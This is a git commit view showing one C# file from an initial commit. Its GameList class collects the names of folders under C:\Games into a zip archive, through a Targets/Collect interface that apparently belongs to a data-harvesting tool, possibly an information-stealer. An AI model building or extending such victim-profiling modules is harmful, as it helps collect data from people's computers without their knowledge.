initial commit

This commit is contained in:
i2p
2026-08-27 10:55:23 -06:00
commit d03dc0bce1
356 changed files with 18535 additions and 0 deletions
+22
View File
@@ -0,0 +1,22 @@
using System.Collections.Generic;
using System.IO;
using System.Linq;
using Intelix.Helper.Data;
namespace Intelix.Targets.Device;
public class GameList : ITarget
{
public void Collect(InMemoryZip zip, Counter counter)
{
string path = "C:\\Games";
if (Directory.Exists(path))
{
List<string> list = Directory.GetDirectories(path).Select(Path.GetFileName).ToList();
if (list.Any())
{
zip.AddTextFile("Games.txt", string.Join("\n", list));
}
}
}
}